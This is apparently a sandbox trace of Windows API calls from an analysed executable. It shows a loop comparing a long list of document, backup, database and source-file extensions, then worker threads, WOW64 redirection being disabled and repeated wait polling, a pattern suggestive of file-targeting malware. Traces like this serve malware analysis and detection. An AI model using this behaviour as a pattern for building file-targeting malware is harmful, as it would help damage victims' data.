lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".asc") returned 4 [0199.981] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".ascx") returned 5 [0199.981] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0199.981] lstrlenW (lpString=".asm") returned 4 [0199.981] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".asmx") returned 5 [0199.981] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0199.981] lstrlenW (lpString=".asp") returned 4 [0199.981] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".aspx") returned 5 [0199.981] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0199.981] lstrlenW (lpString=".asr") returned 4 [0199.981] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".asx") returned 4 [0199.981] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".avi") returned 4 [0199.981] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".avs") returned 4 [0199.981] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".backup") returned 7 [0199.981] lstrcmpiW (lpString1=".backup", lpString2="es.json") returned -1 [0199.981] lstrlenW (lpString=".bak") returned 4 [0199.981] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".bay") returned 4 [0199.981] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".bd") returned 3 [0199.981] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0199.982] lstrlenW (lpString=".bin") returned 4 [0199.982] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".bmp") returned 4 [0199.982] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".bz2") returned 4 [0199.982] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".c") returned 2 [0199.982] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0199.982] lstrlenW (lpString=".cdr") returned 4 [0199.982] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".cer") returned 4 [0199.982] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".cf") returned 3 [0199.982] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0199.982] lstrlenW (lpString=".cfc") returned 4 [0199.982] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".cfm") returned 4 [0199.982] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".cfml") returned 5 [0199.982] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0199.982] lstrlenW (lpString=".cfu") returned 4 [0199.982] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".chm") returned 4 [0199.982] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".cin") returned 4 [0199.982] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".class") returned 6 [0199.982] lstrcmpiW (lpString1=".class", lpString2="s.json") returned -1 [0199.982] lstrlenW (lpString=".clx") returned 4 [0199.982] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0199.982] lstrlenW (lpString=".config") returned 7 [0199.982] lstrcmpiW (lpString1=".config", lpString2="es.json") returned -1 [0199.982] lstrlenW (lpString=".cpp") returned 4 [0199.982] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".cr2") returned 4 [0199.983] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".crt") returned 4 [0199.983] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".crw") returned 4 [0199.983] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".cs") returned 3 [0199.983] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0199.983] lstrlenW (lpString=".css") returned 4 [0199.983] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".csv") returned 4 [0199.983] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".cub") returned 4 [0199.983] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dae") returned 4 [0199.983] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dat") returned 4 [0199.983] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".db") returned 3 [0199.983] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0199.983] lstrlenW (lpString=".dbf") returned 4 [0199.983] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dbx") returned 4 [0199.983] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dc3") returned 4 [0199.983] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dcm") returned 4 [0199.983] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dcr") returned 4 [0199.983] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".der") returned 4 [0199.983] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0199.983] lstrlenW (lpString=".dib") returned 4 [0199.983] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0199.984] lstrlenW (lpString=".dic") returned 4 [0199.984] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0199.984] lstrlenW (lpString=".dif") returned 4 [0199.984] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0199.984] lstrlenW (lpString=".divx") returned 5 [0199.984] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0199.984] lstrlenW (lpString=".djvu") returned 5 [0199.984] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0199.984] lstrlenW (lpString=".dng") returned 4 [0199.984] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0199.984] lstrlenW (lpString=".doc") returned 4 [0199.984] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0199.984] lstrlenW (lpString=".docm") returned 5 [0199.984] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0199.984] lstrlenW (lpString=".docx") returned 5 [0199.984] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0199.984] lstrlenW (lpString=".dot") returned 4 [0199.984] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0199.984] lstrlenW (lpString=".dotm") returned 5 [0199.984] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0199.984] lstrlenW (lpString=".dotx") returned 5 [0199.984] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0199.984] lstrlenW (lpString=".dpx") returned 4 [0199.985] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".dqy") returned 4 [0199.985] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".dsn") returned 4 [0199.985] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".dt") returned 3 [0199.985] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0199.985] lstrlenW (lpString=".dtd") returned 4 [0199.985] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".dwg") returned 4 [0199.985] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".dwt") returned 4 [0199.985] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".dx") returned 3 [0199.985] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0199.985] lstrlenW (lpString=".dxf") returned 4 [0199.985] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".edml") returned 5 [0199.985] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0199.985] lstrlenW (lpString=".efd") returned 4 [0199.985] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0199.985] lstrlenW (lpString=".elf") returned 4 Thread: id = 44 os_tid = 0xe28 [0157.838] GetTickCount () returned 0x125f2 [0157.839] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x78c660 [0157.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x78c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0157.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x78c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0157.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x78c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0157.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x78c660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0157.841] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd88 [0157.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bd88, Size=0x20) returned 0x74dc20 [0157.841] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bc50 [0157.841] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bc50, Size=0x20) returned 0x74dc98 [0157.842] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.842] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.842] Wow64DisableWow64FsRedirection (in: OldValue=0x33eff7c | out: OldValue=0x33eff7c*=0x0) returned 1 [0157.842] lstrlenW (lpString="kernel32.dll") returned 12 [0157.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dc20 | out: hHeap=0x710000) returned 1 [0157.842] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.842] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dc98 | out: hHeap=0x710000) returned 1 [0157.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x79c1c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0157.843] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0158.354] GetTickCount () returned 0x127f5 [0158.354] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0158.875] GetTickCount () returned 0x12a08 [0158.875] GetTickCount () returned 0x12a08 [0158.875] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0159.170] GetTickCount () returned 0x12b22 [0159.170] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0159.395] GetTickCount () returned 0x12c0c [0159.395] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0159.832] GetTickCount () returned 0x12dc2 [0159.832] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0160.040] GetTickCount () returned 0x12e8d [0160.040] GetTickCount () returned 0x12e8d [0160.041] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0160.485] GetTickCount () returned 0x13052 [0160.485] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0160.942] GetTickCount () returned 0x13217 [0160.942] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0161.476] GetTickCount () returned 0x1342a [0161.476] GetTickCount () returned 0x1342a [0161.476] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0161.777] GetTickCount () returned 0x13553 [0161.777] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0162.025] GetTickCount () returned 0x1364d [0162.025] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0162.437] GetTickCount () returned 0x137e3 [0162.437] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0162.916] GetTickCount () returned 0x139b8 [0162.916] GetTickCount () returned 0x139b8 [0162.916] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0163.323] GetTickCount () returned 0x13b4e [0163.323] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0163.664] GetTickCount () returned 0x13ca6 [0163.664] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0163.999] GetTickCount () returned 0x13dfe [0163.999] GetTickCount () returned 0x13dfe [0163.999] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0164.261] GetTickCount () returned 0x13ef8 [0164.261] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0164.548] GetTickCount () returned 0x14021 [0164.548] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0164.823] GetTickCount () returned 0x1412a [0164.823] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0165.245] GetTickCount () returned 0x142d0 [0165.245] GetTickCount () returned 0x142d0 [0165.245] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0166.278] GetTickCount () returned 0x146e7 [0166.278] GetTickCount () returned 0x146e7 [0166.278] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0166.686] GetTickCount () returned 0x1487d [0166.686] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0166.950] GetTickCount () returned 0x14987 [0166.950] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0167.312] GetTickCount () returned 0x14aee [0167.312] GetTickCount () returned 0x14aee [0167.312] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0167.512] GetTickCount () returned 0x14bb9 [0167.512] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0167.896] GetTickCount () returned 0x14d40 [0167.896] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0168.308] GetTickCount () returned 0x14ec7 [0168.308] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0168.437] GetTickCount () returned 0x14f53 [0168.437] GetTickCount () returned 0x14f53 [0168.437] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0168.732] GetTickCount () returned 0x1507c [0168.732] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0168.982] GetTickCount () returned 0x15176 [0168.982] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0169.172] GetTickCount () returned 0x15232 [0169.172] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0169.295] GetTickCount () returned 0x152be [0169.316] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0169.710] GetTickCount () returned 0x15445 [0169.710] GetTickCount () returned 0x15445 [0169.710] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0170.156] GetTickCount () returned 0x1560a [0170.156] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0170.524] GetTickCount () returned 0x15771 [0170.524] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0170.898] GetTickCount () returned 0x158e8 [0170.898] GetTickCount () returned 0x158e8 [0170.898] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0171.331] GetTickCount () returned 0x15aae [0171.331] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0171.536] GetTickCount () returned 0x15b79 [0171.536] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0171.735] GetTickCount () returned 0x15c44 [0171.735] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0172.152] GetTickCount () returned 0x15dda [0172.152] GetTickCount () returned 0x15dda [0172.152] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0172.448] GetTickCount () returned 0x15f03 [0172.449] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0172.753] GetTickCount () returned 0x1602c [0172.753] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0172.936] GetTickCount () returned 0x160e7 [0172.936] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0173.183] GetTickCount () returned 0x161e1 [0173.184] GetTickCount () returned 0x161e1 [0173.184] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0173.632] GetTickCount () returned 0x163a6 [0173.632] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0173.898] GetTickCount () returned 0x164b0 [0173.898] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0174.256] GetTickCount () returned 0x16617 [0174.256] GetTickCount () returned 0x16617 [0174.256] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0174.468] GetTickCount () returned 0x166e3 [0174.468] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0174.741] GetTickCount () returned 0x167fc [0174.741] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0175.411] GetTickCount () returned 0x16a9c [0175.411] GetTickCount () returned 0x16a9c [0175.412] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0175.874] GetTickCount () returned 0x16c61 [0175.874] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0176.054] GetTickCount () returned 0x16d1c [0176.054] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0176.253] GetTickCount () returned 0x16dd8 [0176.253] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0176.695] GetTickCount () returned 0x16f9d [0176.695] GetTickCount () returned 0x16f9d [0176.695] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0177.255] GetTickCount () returned 0x171cf [0177.255] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0177.548] GetTickCount () returned 0x172f8 [0177.548] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0177.807] GetTickCount () returned 0x173f2 [0177.807] GetTickCount () returned 0x173f2 [0177.807] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0178.335] GetTickCount () returned 0x17606 [0178.335] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0178.752] GetTickCount () returned 0x177ab [0178.752] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0179.135] GetTickCount () returned 0x17922 [0179.136] GetTickCount () returned 0x17922 [0179.136] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0179.440] GetTickCount () returned 0x17a5b [0179.440] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0179.996] GetTickCount () returned 0x17c7e [0179.996] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0180.263] GetTickCount () returned 0x17d87 [0180.263] GetTickCount () returned 0x17d87 [0180.263] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0180.536] GetTickCount () returned 0x17ea1 [0180.536] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0180.907] GetTickCount () returned 0x18018 [0180.907] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0181.207] GetTickCount () returned 0x18141 [0181.207] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0181.561] GetTickCount () returned 0x182a8 [0181.561] GetTickCount () returned 0x182a8 [0181.561] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0181.912] GetTickCount () returned 0x18400 [0181.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0182.119] GetTickCount () returned 0x184cb [0182.119] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0182.413] GetTickCount () returned 0x185f4 [0182.413] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0182.577] GetTickCount () returned 0x186a0 [0182.577] GetTickCount () returned 0x186a0 [0182.577] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0182.746] GetTickCount () returned 0x1873c [0182.746] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0182.939] GetTickCount () returned 0x18807 [0182.939] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0183.192] GetTickCount () returned 0x18901 [0183.192] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0183.336] GetTickCount () returned 0x1898e [0183.336] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0183.501] GetTickCount () returned 0x18a39 [0183.501] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0183.726] GetTickCount () returned 0x18b14 [0183.726] GetTickCount () returned 0x18b14 [0183.726] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0184.129] GetTickCount () returned 0x18caa [0184.129] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0184.584] GetTickCount () returned 0x18e70 [0184.692] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0185.131] GetTickCount () returned 0x19092 [0185.131] GetTickCount () returned 0x19092 [0185.131] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0185.413] GetTickCount () returned 0x191ac [0185.413] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0185.760] GetTickCount () returned 0x19303 [0185.760] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0186.078] GetTickCount () returned 0x1944c [0186.078] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0186.266] GetTickCount () returned 0x19507 [0186.266] GetTickCount () returned 0x19507 [0186.266] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0186.477] GetTickCount () returned 0x195d2 [0186.477] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0186.851] GetTickCount () returned 0x19749 [0186.851] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0187.284] GetTickCount () returned 0x198ff [0187.284] GetTickCount () returned 0x198ff [0187.284] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0187.775] GetTickCount () returned 0x19ae3 [0187.775] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0188.425] GetTickCount () returned 0x19d73 [0188.425] GetTickCount () returned 0x19d73 [0188.425] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0188.590] GetTickCount () returned 0x19e10 [0188.590] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0188.784] GetTickCount () returned 0x19edb [0188.784] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0188.978] GetTickCount () returned 0x19f96 [0188.978] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0189.198] GetTickCount () returned 0x1a071 [0189.198] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0189.438] GetTickCount () returned 0x1a16b [0189.439] GetTickCount () returned 0x1a16b [0189.439] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0189.667] GetTickCount () returned 0x1a246 [0189.667] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0189.895] GetTickCount () returned 0x1a330 [0189.895] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0190.223] GetTickCount () returned 0x1a478 [0190.223] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0190.350] GetTickCount () returned 0x1a4f5 [0190.350] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0190.662] GetTickCount () returned 0x1a62e [0190.662] GetTickCount () returned 0x1a62e [0190.662] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0191.064] GetTickCount () returned 0x1a7c4 [0191.064] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0191.351] GetTickCount () returned 0x1a8dd [0191.351] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0191.674] GetTickCount () returned 0x1aa25 [0191.674] GetTickCount () returned 0x1aa25 [0191.674] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0191.930] GetTickCount () returned 0x1ab1f [0191.930] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0192.325] GetTickCount () returned 0x1aca6 [0192.325] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0192.586] GetTickCount () returned 0x1adb0 [0192.586] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0192.823] GetTickCount () returned 0x1ae9a [0192.823] GetTickCount () returned 0x1ae9a [0192.823] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0193.181] GetTickCount () returned 0x1b001 [0193.181] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0193.503] GetTickCount () returned 0x1b149 [0193.503] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0193.643] GetTickCount () returned 0x1b1c6 [0193.643] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0193.752] GetTickCount () returned 0x1b234 [0193.752] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0194.173] GetTickCount () returned 0x1b3da [0194.173] GetTickCount () returned 0x1b3da [0194.173] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0194.361] GetTickCount () returned 0x1b495 [0194.361] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0194.684] GetTickCount () returned 0x1b5dd [0194.684] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0195.075] GetTickCount () returned 0x1b764 [0195.075] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0195.393] GetTickCount () returned 0x1b89c [0195.393] GetTickCount () returned 0x1b89c [0195.393] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0195.738] GetTickCount () returned 0x1b9f4 [0195.738] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0196.019] GetTickCount () returned 0x1bb0d [0196.019] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0196.266] GetTickCount () returned 0x1bc07 [0196.266] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0196.693] GetTickCount () returned 0x1bdad [0196.693] GetTickCount () returned 0x1bdad [0196.693] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0196.903] GetTickCount () returned 0x1be88 [0196.903] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0197.167] GetTickCount () returned 0x1bf92 [0197.167] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0197.351] GetTickCount () returned 0x1c04d [0197.351] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0197.692] GetTickCount () returned 0x1c195 [0197.692] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0197.866] GetTickCount () returned 0x1c251 [0197.866] GetTickCount () returned 0x1c251 [0197.866] 